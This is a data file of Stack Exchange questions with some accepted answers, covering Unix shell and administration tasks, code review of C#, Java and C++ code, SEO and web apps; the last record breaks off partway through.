{  "id": "_unix.104202"  , "question": "I changed my username about a month ago, and although I have forgotten the specificities of how I had done so, I'm pretty sure I followed the instructions on the Arch Wiki. Since then, some programs, such as gnome-boxes, have been mistakenly identifying me by my old username - zheoffec:[marcoms@baguette16 Downloads]$ gnome-boxes (gnome-boxes:10440): Boxes-WARNING **: libvirt-broker.vala:86: Failed to start storage pool: cannot open path '/home/zheoffec/.local/share/gnome-boxes/images': No such file or directoryOf course, my new $HOME is /home/marcoms/, and running grep -i zheoffec * --recursive as root from the root directory only returns strings from .bash_history and fish_history (fish is another shell).How can I remove all traces of my old username?"  , "title": "Changing username still leaves old traces"  , "tags": "bash;arch linux;users;home"  , "accepted_answer": "Changing usernames afterwards like this can be problematic since the username is often times hard coded into files throughout your $HOME directory. I usually create a new account with the new name and then migrate files from the old file to the new, but you can also identify them like so:$ grep -r zheoffec $HOMEExample$ grep -r saml /home/saml/home/saml/scripts/r.rb:#!/home/saml/.rvm/rubies/ruby-1.9.2-p180/bin/rubyBinary file /home/saml/parking_lot/db/db1080p.zip matchesBinary file /home/saml/Dropbox/personal/Dropbox/pidgin.tar matches/home/saml/Dropbox/personal/.viminfo:'0  2  5  /home/saml/bin/dropbox.sh/home/saml/Dropbox/personal/.viminfo:-'  2  5  /home/saml/bin/dropbox.sh/home/saml/Dropbox/personal/.viminfo:-'  1  0  /home/saml/bin/dropbox.sh/home/saml/Dropbox/personal/.viminfo:> /home/saml/bin/dropbox.shIf you decide to create a new account and then copy key pieces of data from the old I'd also recommend using rsync to copy files from the old account to the new one as needed. This allows you to copy the data as you go and build up a script that includes key directories of files.Additionally I'll often copy the dot files .* to a subdirectory in the new location called dotfiles and once I'm in the new account will use rsync to copy subdirectories from dotfiles as needed."  } 
{  "id": "_webapps.30458"  , "question": "How do I delete All Mail box on left (archived) without deleting other labels' content? Reason is a virus in Gmail archived messages which I cannot locate due to the large amount of archived messages. It is not in my labeled messages"  , "title": "how to delete ALL Mail without deleting mail with labels?"  , "tags": "gmail;gmail labels"  } 
{  "id": "_webmaster.23402"  , "question": "So I've been assigned to take a look at our SEO (an area I have some, but not amazing competence in), and the first thing I noticed is that our robots.txt file says the following:# go awayUser-agent: *Disallow: /Now, I'm pretty competent at reading computer, and as far as I can tell, this says ALL spiders shouldn't look at ANYTHING in the root directory or below.Am I reading this correctly? Because that just seems insane."  , "title": "Is this robots.txt file really preventing all crawling of our website? I'm trying to find out why our SEO is so poor"  , "tags": "seo;robots.txt"  , "accepted_answer": "Maybe someone didn't want to pay for spider traffic? Regardless, you are reading it correctly:http://www.robotstxt.org/robotstxt.htmlWeb site owners use the /robots.txt file to give instructions about  their site to web robots; this is called The Robots Exclusion  Protocol.   It works likes this: a robot wants to vists a Web site  URL, say http://www.example.com/welcome.html. Before it does so, it  firsts checks for http://www.example.com/robots.txt, and finds:  User-agent: * Disallow: /The User-agent: * means this section applies to all robots. The  Disallow: / tells the robot that it should not visit any pages on  the site."  } 
{  "id": "_unix.223843"  , "question": "I know I am noob....As far as I know, Linux can only install package from its Repository list.And there are plenty of repositories out there.After you have installed/updated the repository list, you can install the package you want.But... I have no idea how to find a repository list that has the specified version of a package I want to install.For example, I want to install php55u, not php55w or whatever.Where/how can I find such a repository list or whatever that contains the php55u so I can have yum install it?Correct me if I am wrong and explanation for dummy will be nice :)"  , "title": "How to find and install specify package by command?"  , "tags": "centos;package management;yum;repository"  } 
{  "id": "_unix.153318"  , "question": "I need to store specific number of spaces in a variable.I have tried this:i=0result=space() {    n=$1    i=0    while [[ $i != $n ]]    do        result=$result         ((i+=1))    done}f=firsts=lastspace 5echo $f$result$sThe result is firstlast, but I expected 5 space characters between first and last.How can I do this correctly?"  , "title": "Storing whitespace in a shell script variable"  , "tags": "shell script;variable;whitespace"  , "accepted_answer": "Use doublequotes () in the echo command:echo $f$result$sThis is because echo interprets the variables as arguments, with multiple arguments echo prints all of them with a space between.See this as an example:user@host:~$ echo this is     a      testthis is a testuser@host:~$ echo this is     a      testthis is     a      testIn the first one, there are 4 arguments:execve(/bin/echo, [echo, this, is, a, test], [/* 21 vars */]) = 0in the second one, it's only one:execve(/bin/echo, [echo, this is     a      test], [/* 21 vars */]) = 0"  } 
{  "id": "_unix.267418"  , "question": "I became curious when I was diffing two large (>326MB) files, and noticed that the second run took much less time than the first.  This was frustrating, since I was trying to time the second run, to see how long the diff took.  :)The man page doesn't mention a cache, and searching for 'diff cache' seems to flood me with results for the git diff subcommand, which is not what I'm interested in learning about.  So, my question is:Why did the second run of diff largeFile1 largeFile2 take so much less time than the first?  Where can I find more information?"  , "title": "How does the diff command handle caching?"  , "tags": "shell;command;diff;cache"  , "accepted_answer": "diff isn't doing any caching. The OS is. If you are using Linux, you can flush the disk buffers and cache. See How do you empty the buffers and cache on a Linux system?"  } 
{  "id": "_softwareengineering.340649"  , "question": "Map (or HashMap) takes Constant time for Insert, Remove and Retrieve. While all other data structures which I know so far, do not take constant time and their time for above operations depends on the size of input.So, why do we need all other data structures ever ? Isn't HashMap is universal data structure ?"  , "title": "Why do we need datastructures other than HashMap"  , "tags": "data structures;hashing"  , "accepted_answer": "Hash map has constant time for most operations - on average. Worst case complexity is much higher. A list or a tree can guarantee fast (even if not constant) time in every case (even for maliciously crafted input).Element lookup in an array is usually a single CPU instruction. Hash map adds a lot overhead over that - even if both have constant average complexity.It doesn't keep any order of elements. Inserting elements at particular position requires rebuilding whole hash map. Iterating over elements in particular order requires converting to a different data structure.Hash map has much higher memory footprint than tightly packed array or carefully designed linked list. It usually has much worse cache locality.Not all data types are easily hashable."  } 
{  "id": "_codereview.100822"  , "question": "In the past I have always called the repositories directly from the controller, but that is a bad practice and now I am implementing a Business Layer to my project.Would I have two UnitOfWorks?  One for the Service and then one for the repositories?BaseController:public class BaseController : Controller{    protected IUnitOfWorkService UnitOfWorkService;    private readonly IEmployeeService _employeeService;    protected BaseController(IUnitOfWorkService unitOfWorkService)    {        UnitOfWorkService = unitOfWorkService;        _employeeService = unitOfWorkService.EmployeeService;    }}HomeController:public class HomeController : BaseController{    private readonly IEmployeeService _employeeService;    public HomeController(IUnitOfWorkService unitOfWorkService) : base(unitOfWorkService)    {        _employeeService = unitOfWorkService.EmployeeService;    }    public ActionResult Index()    {        var emp = _employeeService.GetEmployee(employeeId);        ...    }    ...}EmployeeService:public class EmployeeService : IEmployeeService{    private IEmployeeRepository _employeeRepo;    public EmployeeService(IUnitOfWork unitOfWork)    {        _employeeRepo = unitOfWork.EmployeeRepository;    }    public Employee GetEmployee(int employeeId)    {        return _employeeRepo.GetEmployee(employeeId);    }    ...}EmployeeRepositorypublic class EfEmployeeRepository : EfRepository, IEmployeeRepository{    public EfEmployeeRepository(SqlContext context) : base(context) { }    public Employee GetEmployee(int employeeId)    {        var employee = Context.Employees                    .SingleOrDefault(e => e.EmployeeId == employeeId);        return employee != null ? employee.ToDomain() : null;    }}Unit of WorkIUnitOfWorkService:public interface IUnitOfWorkService : IDisposable{    IEmployeeService EmployeeService { get; }}UnitOfWorkService:public class UnitOfWorkService : IUnitOfWorkService{    private readonly IUnitOfWork _unitOfWork;    private EmployeeService _employeeService;    public UnitOfWorkService()    {        _unitOfWork = new EfUnitOfWork();    }    public IEmployeeService EmployeeService    {        get { return _employeeService ?? (_employeeService = new EmployeeService(_unitOfWork)); }    }    public void Dispose()    {        Dispose(true);        GC.SuppressFinalize(this);    }    protected virtual void Dispose(bool disposing)    {        if (disposing)            _unitOfWork.Dispose();    }}IUnitOfWork:public interface IUnitOfWork : IDisposable{    IEmployeeRepository EmployeeRepository { get; }}UnitOfWork:public class EfUnitOfWork : IUnitOfWork{    private readonly SqlContext _context;    private EfEmployeeRepository _employeeRepository;    public IEmployeeRepository EmployeeRepository    {        get { return _employeeRepository ?? (_employeeRepository = new EfEmployeeRepository(_context)); }    }    public EfUnitOfWork()    {        _context = new SqlContext();    }    public void Save()    {        _context.SaveChanges();    }    public void Dispose()    {        Dispose(true);        GC.SuppressFinalize(this);    }    protected virtual void Dispose(bool disposing)    {        if (disposing)            _context.Dispose();    }}Register Dependenciesbuilder.RegisterType<EfUnitOfWork>().As<IUnitOfWork>().InstancePerRequest();builder.RegisterType<UnitOfWorkService>().As<IUnitOfWorkService>().InstancePerRequest();"  , "title": "Configuring MVC 5 project with service layer and DI and UOW"  , "tags": "c#;dependency injection;asp.net mvc 5;autofac"  , "accepted_answer": "public class BaseController : Controller{    protected IUnitOfWorkService UnitOfWorkService;    private readonly IEmployeeService _employeeService;    protected BaseController(IUnitOfWorkService unitOfWorkService)    {        UnitOfWorkService = unitOfWorkService;        _employeeService = unitOfWorkService.EmployeeService;    }}public class HomeController : BaseController{    private readonly IEmployeeService _employeeService;    public HomeController(IUnitOfWorkService unitOfWorkService) : base(unitOfWorkService)    {        _employeeService = unitOfWorkService.EmployeeService;    }    public ActionResult Index()    {        var emp = _employeeService.GetEmployee(employeeId);        ...    }    ...}  I don't see a reason here to have private readonly IEmployeeService _employeeService; in the HomeController. It would be better to make the _employeeService variable of the BaseController protected so it can be used by the objects which inherits the BaseController.  Why is the protected IUnitOfWorkService UnitOfWorkService; not readonly ?  Style Using abbreviations or naming variables is bad practice. Does it hurt to name the variable IEmployeeRepository _employeeRepo like IEmployeeRepository _employeeRepository ?  It does not hurt to use braces {} for single if statements but will make the code less error prone. I would like to encourage you to always use them. "  } 
{  "id": "_unix.71462"  , "question": "I have the followin directory structure:base/   files/   archives/   scripts/I want a script to run from scripts/, compress files that match results.*.log in files/ into a gzipped tar archive in archives/.I'm trying the following command:tar czfC ../archives/archive.tar.gz ../files results.*.logBut I gettar: results.*.log: Cannot stat: No such file or directorytar: Exiting with failure status due to previous errorsWhile tar czfC ../archives/archive.tar.gz ../files results.a.logworks as expected. Also tar czf ../archives/archive.tar.gz ../files/results.*.logworks the way I would like, except it adds the prefix files/ to the file and also emits a warning:tar: Removing leading `../' from member namesSo my conclusion is that tar globbing doesn't work properly when using the -C option. Any advice on how I make this work in a simple manner?"  , "title": "How to make tar globbing work with the 'change directory' option"  , "tags": "wildcards;tar"  , "accepted_answer": "Write it the more portable way:(cd ../files && tar cf - results.*.log) |   gzip -9 > ../archives/archive.tar.gz"  } 
{  "id": "_codereview.75424"  , "question": "I am coding a 2D board game. I let the user choose the difficulty level in the beginning, which influences the skills points of the player. Here is the code I wrote for the Player class:package model;public class Player {    // VARIABLES ---------------------------    private Position position;    private int score = 0;    private int stepsLeft;    private int fightingSkill;    private int jokingSkill;    private int visionScope = 2;    private String skillChoice;    // CONSTRUCTOR --------------------------    public Player(Position position, int difficultyLevel) {        this.position = position;        switch(difficultyLevel) {        case 1:             this.stepsLeft = 150;             this.fightingSkill = 5;             this.jokingSkill = 5;        case 2:             this.stepsLeft = 150;             this.fightingSkill = 2;             this.jokingSkill = 2;        case 3:             this.stepsLeft = 100;             this.fightingSkill = 2;             this.jokingSkill = 2;        case 4:             this.stepsLeft = 10;             this.fightingSkill = 1;             this.jokingSkill = 1;        }    }    public Player(int stepsLeft, int fightingSkill, int jokingSkill) {        this.stepsLeft = stepsLeft;         this.fightingSkill = fightingSkill;         this.jokingSkill = jokingSkill;        this.position = new Position(1,1);        this.score = 0;    }    // METHODS ------------------------------    public void move(Position destination) {        setPosition(destination);        stepsLeft -= 1;    }    public void increaseScore(int bonus) {        score += bonus;    }    public void increaseStepsLeft(int bonus) {        stepsLeft+= bonus;    }    public void increaseFightingSkill(int bonus) {        fightingSkill += bonus;    }    public void increaseJokingSkill(int bonus) {        jokingSkill += bonus;    }    // GETTERS     public Position getPosition() {        return position;    }    public int getXPosition() {        return position.getX();    }    public int getYPosition() {        return position.getY();    }    public int getScore() {        return score;    }    public int getStepsLeft() {        return stepsLeft;    }    public int getFightingSkill() {        return fightingSkill;    }    public int getJokingSkill() {        return jokingSkill;    }    public String getSkillChoice() {        return skillChoice;    }    public int getVisionScope() {        return visionScope;    }    // SETTERS    public void setPosition(Position position) {        this.position = position;    }    public void setSkillChoice(int choice) {        switch(choice) {        case 0:            this.skillChoice = joke;            break;        case 1:            this.skillChoice = fight;            break;        case 2:            this.skillChoice = magic;            break;        default:            ;        }    }    public String toString() {        return play \\t+position+\\t+stepsLeft+\\t+jokingSkill+\\t+score+\\n;    }}My questionsI chose to use a switch statement in the constructor, to create my player with features according to the difficulty level. I have the feeling that is maybe not the good practice to have such a switch in a constructor but can't really say why, and don't find a better way. Is there a better way to do this? Any other comments about that class? I've programmed scientific code but am quite new to OOP and Java. Any comment is welcome."  , "title": "Create player according to chosen difficulty"  , "tags": "java;game"  } 
{  "id": "_unix.70827"  , "question": "I've installed CentOS 6.3. However, eth0 does not show up on ifconfig.So I figured out that I need to install alx Ethernet driver from here.Since my internet is not working, as ethernet drivers are not installed, I've installed Development Tools from the DVD.Steps performed:./scripts/driver-select alxOn 'make' I get this error. http://paste.ubuntu.com/5669506/How do I solve this issue? Would be grateful for any kind of help. Thanks."  , "title": "Unable to install Atheros AR8161 Ethernet controller driver for centOS 6"  , "tags": "linux;centos;drivers;linux kernel;ethernet"  } 
{  "id": "_webapps.36933"  , "question": "Someone shared a folder with me on Dropbox and I cant see this folder in my Dropbox folder at home. I have to access it through the Dropbox website.I thought it was supposed to be visible on every PC that has access to the folder, so people can just copy and paste the files from that folder to their own computer.Or is it normal that I have to access it through the website?"  , "title": "Can't see a folder people shared with me in my own Dropbox folder"  , "tags": "dropbox"  } 
{  "id": "_unix.293017"  , "question": "I have two programs that I called program1 and program2 which perform a main task of two operations. When program1 start running it pipe its results to program2 which performs the final result. Because both programs must run continuously, I implemented a systemd service for this and here is the content of /lib/systemd/system/servers.service file.[Unit]Description=Start serversAfter=network.target[Service]Type=simpleExecStart=/usr/local/bin/servers >> /var/log/servers.logRestart=alwaysTimeoutStartSec=100User=rootExecStartPre=killall -w -q program1 && killall -w -q program2User=rootExecStopPost=killall -w -q program1 && killall -w -q program2User=root[Install]WantedBy=multi-user.targetWhen run the service, systemd create two process to realize the task, here you can see the status.sudo service servers status# result servers.service - Start servers   Loaded: loaded (/lib/systemd/system/servers.service; enabled)   Active: active (running) since Wed 2016-06-29 21:00:27 UTC; 2h 5min ago Main PID: 11942 (server)   CGroup: /system.slice/servers.service           11942 program1           11944 program2when one of the program crash the service is still in it running state which is not logically correct because the main task is stopped.Please I will like to know if it is possible to implement such a situation with systemd services? If so, how?"  , "title": "Systemd: stop the main process (or the service) when a subprocess crash"  , "tags": "linux;debian;systemd;cgroups"  } 
{  "id": "_datascience.6749"  , "question": "I have a function: m=a*n+2the range of a is 1 to 100 and the range of a is 1 to 5My question: is it possible to plot a figure with x-axis is n, and y-axis is a and also shows the value of m ?"  , "title": "plotting graph in R: show 3 values in one graph"  , "tags": "r"  } 
{  "id": "_codereview.2978"  , "question": "Following is the code which finds the social network of a friend (i.e. friends of friends and so on). Friends definition is, ff W1 is friend of W2, then there should be Levenshtein distance equal to 1. It is working fine with a smaller dictionary, but is taking a lot of time with a bigger dictionary.Need some code review and advice.#include <stdio.h>#include <string>#include <vector>#include <queue>#include <fstream>  #include <iostream>  #include <sstream>#include <iterator>#include <algorithm>#include <set>class BkTree {    public:        BkTree();        ~BkTree();        void insert(std::string m_item);        void get_friends(std::string center, std::deque<std::string>& friends);    private:        size_t EditDistance( const std::string &s, const std::string &t );        struct Node {            std::string m_item;            size_t m_distToParent;            Node *m_firstChild;            Node *m_nextSibling;            Node(std::string x, size_t dist);                    bool visited;            ~Node();        };        Node *m_root;        int   m_size;    protected:};BkTree::BkTree() {    m_root = NULL;     m_size = 0;}BkTree::~BkTree() {     if( m_root )         delete m_root; }BkTree::Node::Node(std::string x, size_t dist) {    m_item         = x;    m_distToParent = dist;    m_firstChild   = m_nextSibling = NULL;    visited        = false;}BkTree::Node::~Node() {    if( m_firstChild )         delete m_firstChild;    if( m_nextSibling )         delete m_nextSibling;}void BkTree::insert(std::string m_item) {    if( !m_root ){        m_size = 1;        m_root = new Node(m_item, -1);        return;    }    Node *t = m_root;    while( true ) {        size_t d = EditDistance( t->m_item, m_item );        if( !d )             return;        Node *ch = t->m_firstChild;        while( ch ) {            if( ch->m_distToParent == d ) {                 t = ch;                 break;             }            ch = ch->m_nextSibling;        }        if( !ch ) {            Node *newChild = new Node(m_item, d);            newChild->m_nextSibling = t->m_firstChild;            t->m_firstChild = newChild;            m_size++;            break;        }    }}size_t BkTree::EditDistance( const std::string &left, const std::string &right ) {    size_t asize = left.size();    size_t bsize = right.size();    std::vector<size_t> prevrow(bsize+1);    std::vector<size_t> thisrow(bsize+1);    for(size_t i = 0; i <= bsize; i++)        prevrow[i] = i;    for(size_t i = 1; i <= asize; i ++) {        thisrow[0] = i;        for(size_t j = 1; j <= bsize; j++) {            thisrow[j] = std::min(prevrow[j-1] + size_t(left[i-1] != right[j-1]),                     1 + std::min(prevrow[j],thisrow[j-1]) );        }        std::swap(thisrow,prevrow);    }    return prevrow[bsize];}void BkTree::get_friends(std::string center, std::deque<std::string>& flv) {    if( !m_root ) return ;    std::queue< Node* > q;    q.push( m_root );    while( !q.empty() ) {        Node *t = q.front();         q.pop();        if ( !t ) continue;        size_t d = EditDistance( t->m_item, center );        if( d == 1 ) {             if ( t->visited == false ) {                flv.push_back(t->m_item);                t->visited = true;            }        }        Node *ch = t->m_firstChild;        q.push(ch);        while( ch ) {            if( ch->m_distToParent >=  1 )                q.push(ch);            ch = ch->m_nextSibling;        }    }    return;}int main( int argc, char **argv ) {    BkTree *pDictionary = new BkTree();    std::ifstream dictFile(word.list);    std::string line;     if (dictFile.is_open()) {        while (! dictFile.eof() ) {                           std::getline (dictFile,line);            if ( line.size()) {                pDictionary->insert(line);            }        }        dictFile.close();    }    std::deque<std::string>  flq;    pDictionary->get_friends(aa, flq);    int counter = 0;    while ( !flq.empty()) {        counter++;        std::string nf = flq.front();        flq.pop_front();        pDictionary->get_friends(nf, flq);    }     std::cout << counter << std::endl;    return 0;}"  , "title": "Finding social network of a friend"  , "tags": "c++;algorithm;edit distance"  } 
{  "id": "_codereview.28609"  , "question": "I've got a class with a property TotalCost, which is calculated by some simple math of two other properties, CostOfFood and NumberOfPeople.  The code works the way I want it to, but I was wondering if this is a satisfactory method in the long run of application development, a bad idea to have one property that depends on another all together (I'm pretty sure this is the case, but sometimes it makes sense to), or if the informed reader would deem it acceptable.  Helpful hints are in the comments.class DinnerParty{    private int numberOfPeople;    public int NumberOfPeople    {        get { return numberOfPeople; }        set         {             numberOfPeople = value;            //TotalCost property is updated when more people are added to the party            TotalCost =CalculateFoodCost(value);        }    }    private decimal totalCost;    public decimal TotalCost    {        get { return totalCost; }        private set         {               totalCost = value;         }    }    private decimal costOfFood;    public decimal CostOfFood    {        get { return costOfFood; }        set         {             costOfFood = value;            //TotalCost property is updated when CostOfFood changes            //directly below line was my initial idea            //TotalCost = value * NumberOfPeople was my initial thought            //before overloading the CalculateFoodCost method            //this calls the CalculateFoodCost version that takes a decimal            TotalCost = CalculateFoodCost(value);        }    }    private decimal CalculateFoodCost(int costOfFood)    {        //the int coming in as a parameter is the 'value' of the NumberOfPeople property        return this.costOfFood * NumberOfPeople;    }    private decimal CalculateFoodCost(decimal costOfFood)    {        return this.costOfFood * NumberOfPeople;    }    public DinnerParty()    {        //so food cost is never 0        CostOfFood = 10;    }}TestingDinnerParty d = new DinnerParty();d.NumberOfPeople = 1; Console.WriteLine(d.TotalCost);//output = 10d.CostOfFood = 2;Console.WriteLine(d.TotalCost);//CostOfFood changed, output =2d.NumberOfPeople = 2;Console.WriteLine(d.TotalCost);//output=4;d.CostOfFood = 3;Console.WriteLine(d.TotalCost); //output =6"  , "title": "When one property is calculated from another"  , "tags": "c#"  , "accepted_answer": "The C# property model allows external classes to inspect (or set) a given member as though it were a public 'field', and the implementation details are left to the property's accessor and mutator.  In your case, you want to expose TotalCost and hide the implementation details about how it is derived.  And your code reflects best practices.  Following the comment from Clockwork-Muse, your implementation can be made more elegant by...    public decimal TotalCost    {        get { return CostOfFood * NumberOfPeople; }    }This avoids the calculation penalty for setting either of the calculation ingredients and performs the calculation only when called upon to do so.  It's also a bit more readable and transparent.  In this particular case, there's no need for an asymmetric mutator, so it's been removed.   "  } 
{  "id": "_datascience.9036"  , "question": "Most of us want to build a recommendation engine as accurate as possible, however, an experienced chief data scientist believes a practical machine learning algorithm should randomly shuffle the results, therefore non-optimal results. This is known as Results Dithering. Slide 15 at:http://cikm2013.org/slides/ted.pptxWhile I understand how to do it (adding a small fixed Gaussian noise), but why would we do it to make the performance worse."  , "title": "Result Dithering? Why randomly shuffle results?"  , "tags": "machine learning"  } 
{  "id": "_vi.4150"  , "question": "I am trying to change a text file with data in 'document' form into unnormalized csv. The data are a list of hymn authors ('document header') and for each author a list of one or more hymns they have written ('document line'). The specific operation I am struggling with is taking each 'document header' and prepending it to the one or more 'document lines' that follow it.Example dataFor example, I want to turn thisBeskow Natanael    140     Ack saliga dag    399     Trnger i dolda djupen ner    478     Ditt verk r stort    479     Krlek av hjdenBexell Gran    103     Herren lever vga tro detBze Thodore de    283     Lovsjung nu alla lnder Gud    360     Ssom hjorten ivrigt lngtarintoBeskow Natanael,140,Ack saliga dagBeskow Natanael,399,Trnger i dolda djupen nerBeskow Natanael,478,Ditt verk r stortBeskow Natanael,479,Krlek av hjdenBexell Gran,103,Herren lever vga tro detBze Thodore de,283,Lovsjung nu alla lnder GudBze Thodore de,360,Ssom hjorten ivrigt lngtarThe specific change that I am struggling with is taking the 'document header' and prepending it to each 'document line' so I am leaving the other changes (removing the header, comma between hymn number and hymn title, etc.) to one side for the moment.QuestionI could write a function to do this change, but I find that I am collecting quite a number of ad hoc functions for different editing operations, so I would prefer to learn how to do it with a global command, or, if it is not a suitable operation to perform with global, to understand why. How can I do this operation with global; and, if I can't, why?What I have triedI have tried using the :global command to execute different combinations of normal commands.1) Yank, move, putg/^\\S/normal! y$jPa,I take this to meanfor each line beginning with non-whitespaceyank to end-of-line into unnamed registermove down one line and put before from unnamed registerappend a commaThis works, but only for each first 'document line'. The result isBeskow NatanaelBeskow Natanael,    140     Ack saliga dag    399     Trnger i dolda djupen ner    478     Ditt verk r stort    479     Krlek av hjdenBexell GranBexell Gran,    103     Herren lever vga tro detBze Thodore deBze Thodore de,    283     Lovsjung nu alla lnder Gud    360     Ssom hjorten ivrigt lngtarTo repeat the put operation on each 'document line' I think I would need to know how many there are and put in a loop, and I don't see an easy way to do that without writing a custom function.2) Yank, visually select, substituteTo avoid having to count I thought I could instead visually select the 'document lines' and insert the 'document header' with a substitute over the visual selection.g/^\\S/normal! y$v/^\\S^M:s/^\\s/\\=@ . , . submatch(0)I intend this command to mean the followingfor each line beginning with non-whitespaceyank to the end of linevisually select until the next line beginning with non-whitespacesubstitute over visual selectionmatch beginning-of-line + whitespacesubstitute contents of unnamed register + a comma + the entire match (i.e., the whitespace)This command does not work at all.It does not change the buffer at all.It leaves me in visual mode, with the last character on the first line selected.Hitting /<Up> to look at the last search pattern shows /^\\S^M:s/^\\s/\\=@ . , . submatch(0). This tells me that the ^M does not execute the search as I had hoped, but rather everything following / is interpreted as part of the pattern.Checking the unnamed register after running the command, it contains the last 'document header' in the buffer. This tells me that it goes through the buffer and performs the yank operation.If, however, I type out the normal mode commands manually they work as expected."  , "title": "How can I use the `global` command to prepend 'document headers' to 'document lines'?"  , "tags": "cut copy paste;repeated commands"  } 
{  "id": "_cstheory.30952"  , "question": "One can bound the Rademacher average $R_n(A)$ of a finite set of vectors $A\\subseteq\\{0,1\\}^n$ using Massart's Finite Lemma:$$R_n(A)\\le \\max_{a\\in A}\\|a\\|\\frac{\\sqrt{2\\ln|A|}}{n}$$where $\\|\\cdot\\|$ is the Euclidean norm.Then, using Sauer's Lemma, one can obtain $$R_n(A)\\le C\\max_{a\\in A}\\|a\\|\\sqrt{\\frac{V\\ln\\frac{n}{V}}{n}},$$where $V$ is the (empirical) VC-dimension.Using chaining and a bound on covering numbers, one can get rid of the logarithmic factor and obtain$$R_n(A)\\le C'\\sqrt{\\frac{V}{n}}.$$Looking at the proof that uses chaining, I can't seem to find a way to have $\\max_{a\\in A}\\|a\\|$ in the second bound. Is it even possible?It may not change much in theory, but it does in practice, and (in my opinion), it intuitively makes sense that the bound should depend on it."  , "title": "Bounding Rademacher Averages, with and without chaining"  , "tags": "machine learning;pr.probability;lg.learning;vc dimension"  , "accepted_answer": "Converting the comment to an answer: See the notes here: cs.cornell.edu/~sridharan/dudley.pdfwith the dependence on $\\sup_f \\hat E[f^2]$"  } 
{  "id": "_unix.106219"  , "question": "I have a text file abc.txt and its contents are:   /lag/cnn/org/one.txt   /lag/cnn/org/two.txt   /lag/cnn/org/three.txtIf I use:$ tar -cvf allfiles.tar -T abc.txtI'm getting the tar of files in the list. Similarly is it possible to copy those files in abc.txt to a folder?I tried this:            $ cp --files-from test1.txt ./FolderBut it is not working."  , "title": "Copy files from a list to a folder"  , "tags": "shell;file copy"  } 
{  "id": "_unix.316918"  , "question": "I run physics analysis jobs in a computer grid. Sometime the jobs go wrong and I have to kill them (one by one) which is painful. Can you please suggest me how can I select only the numeric values (748736838 and so on) from this output:$ps -Wmhaque -748736838   0   W                                   mhaque -748736879   0   W                                   mhaque -748737079   0   W                                   mhaque -748737185   0   W                                   mhaque -748737276   0   W(and hundred of lines like this)I tried few sed/awk/grep command (from stackExchange) but could not separate the numeric values. Is there command which can select the numeric values and also place 'kill' in front of them? For example something like this (piping):ps -W  |  awk/sed/grep (what_to_use) |  (some_command to place kill) | > file.listWhich would give me the following (in file.list):kill 748736838 kill 748736879...so on..Then I can simply copy paste it in the grid shell to kill all offending/long waiting jobs. "  , "title": "How to select job ids using grep/sed/awk"  , "tags": "shell;sed;awk;grep"  } 
{  "id": "_softwareengineering.347952"  , "question": "There are a couple of examples from a simple game based on two players putting X and O on 2d arrayFirst method should return true if element filed[y][x] is ok;public boolean yxInField(int y, int x, char[][] field) {    return field != null            && y >= 0            && x >= 0            && y < field.length            && field[y] != null            && x < field[y].length;}Second should return true if at least one of calls of check win condition for a specific direction returned true public boolean checkWin(int y, int x, char[][] field) {    return            //E-W            checkDirection(y, x, 0, -1, field)            //S-N            || checkDirection(y, x, -1, 0, field)            //SE-NW            || checkDirection(y, x, -1, -1, field)            //SW-NE            || checkDirection(y, x, -1, 1, field);}But i'm not certain if this style is ok. If not what would be the better way to do those methods?"  , "title": "Are returns with large statements at the top of a method a good style?"  , "tags": "coding style"  } 
{  "id": "_webmaster.98531"  , "question": "How do I do URL masking using .htaccess?I've tried a lot of different things on different websites, but they usually just redirect me to a different page or caused a 500 internal server error.I want to take this url:http://www.example.com/profile/index?id=$1and mask it to look like:http://www.example.com/profile/$1Thank you in advance!"  , "title": ".htaccess URL masking"  , "tags": "masking"  } 
{  "id": "_unix.150260"  , "question": "I have a process that generates output mostly in lexicographically sorted order according to a (timestamp) field, but occasionally the lines will be output in the wrong order:2014-08-14 15:42:02.019220203 ok2014-08-14 15:42:03.523164367 ok2014-08-14 15:42:04.525655832 ok2014-08-14 15:42:06.523324269 ok2014-08-14 15:42:05.930966407 oops2014-08-14 15:42:07.643347946 ok2014-08-14 15:42:07.567283110 oopsHow can I identify each location where the data are unsorted?Expected output (or similar):2014-08-14 15:42:05.930966407 oops2014-08-14 15:42:07.567283110 oopsI need a solution that works as the data are generated (e.g. in a pipeline); it's less useful if it only operates on complete files. sort --check would be ideal but it only outputs the first point of disorder; I need a full listing."  , "title": "Identify lines that are out of order"  , "tags": "text processing;sort;verification"  , "accepted_answer": "awk 'NR>1 && $0 < last; {last=$0}'Prints the lines that sort before the preceding line. The $0 is to force lexical comparison (on the output of seq 10 it would spot 10 as sorting before 9)."  } 
{  "id": "_unix.270071"  , "question": "I have large tree, with many pdf files in it. I want to delete the pdf files in this tree, but only those pdf files in sub folders named rules/ There are other type of files inside rules/. The rules/ subfolders have no other subfolders.For example, I have this tree. Everything below 'source'  source/         A/            rules/*.pdf, *.txt, *.c,etc..            etc/         B/            keep_this.pdf                            rules/*.pdf            whatever/         C/             D/               rules/*.pdf               something/and so on. There are pdf files all over the place, but I only want to delete all the pdf files which are in folders called rules/ and no other place.I think I need to use  cd source  find  / -type d -name rules  -print0 | xargs -0 <<<rm *.pdf?? now what?>>>But I am not sure what to do after getting list of all subfolders named rules/Any help is appreciated.On Linux mint."  , "title": "how to delete all files with specific extension in specific named folders in large tree?"  , "tags": "files;find"  , "accepted_answer": "I would execute a find inside another find. For example, I would execute this command line in order to list the files that would be removed:$ find /path/to/source -type d -name 'rules' -exec find '{}' -mindepth 1 -maxdepth 1 -type f -iname '*.pdf' -print ';'Then, after checking the list, I would execute:$ find /path/to/source -type d -name 'rules' -exec find '{}' -mindepth 1 -maxdepth 1 -type f -iname '*.pdf' -print -delete ';'"  } 
{  "id": "_codereview.1903"  , "question": "I have a class which is responsible for checking whether a website is up or down. I've made it to run asynchronously, but I would like critique if this is a good/bad way or if there is another better way to do it.class UrlChecker {    private readonly IValidationCondition _condition;    private readonly Dictionary<string, UrlStatus> _status = new Dictionary<string, UrlStatus>();    private readonly object _lock = new object();    public UrlChecker(IValidationCondition condition) {        _condition = condition;    }    public void CheckRange(IEnumerable<string> urls, Action<Dictionary<string, UrlStatus>> callback) {        var options = new ParallelOptions {MaxDegreeOfParallelism = 5};        Parallel.ForEach(urls, options, Check);        callback(_status);    }    private void Check(string url) {        Console.WriteLine(Checking  + url);        var req = (HttpWebRequest) WebRequest.Create(url);        req.Timeout = 10 * 10000; // 10 seconds        HttpWebResponse resp;        try {            resp = (HttpWebResponse)req.GetResponse();            }        catch(WebException ex) {            // We got an exception, consider it as down            lock (_lock)                _status.Add(url, UrlStatus.Down);            return;        }        if(resp.StatusCode != HttpStatusCode.OK) {            lock (_lock)                _status.Add(url, 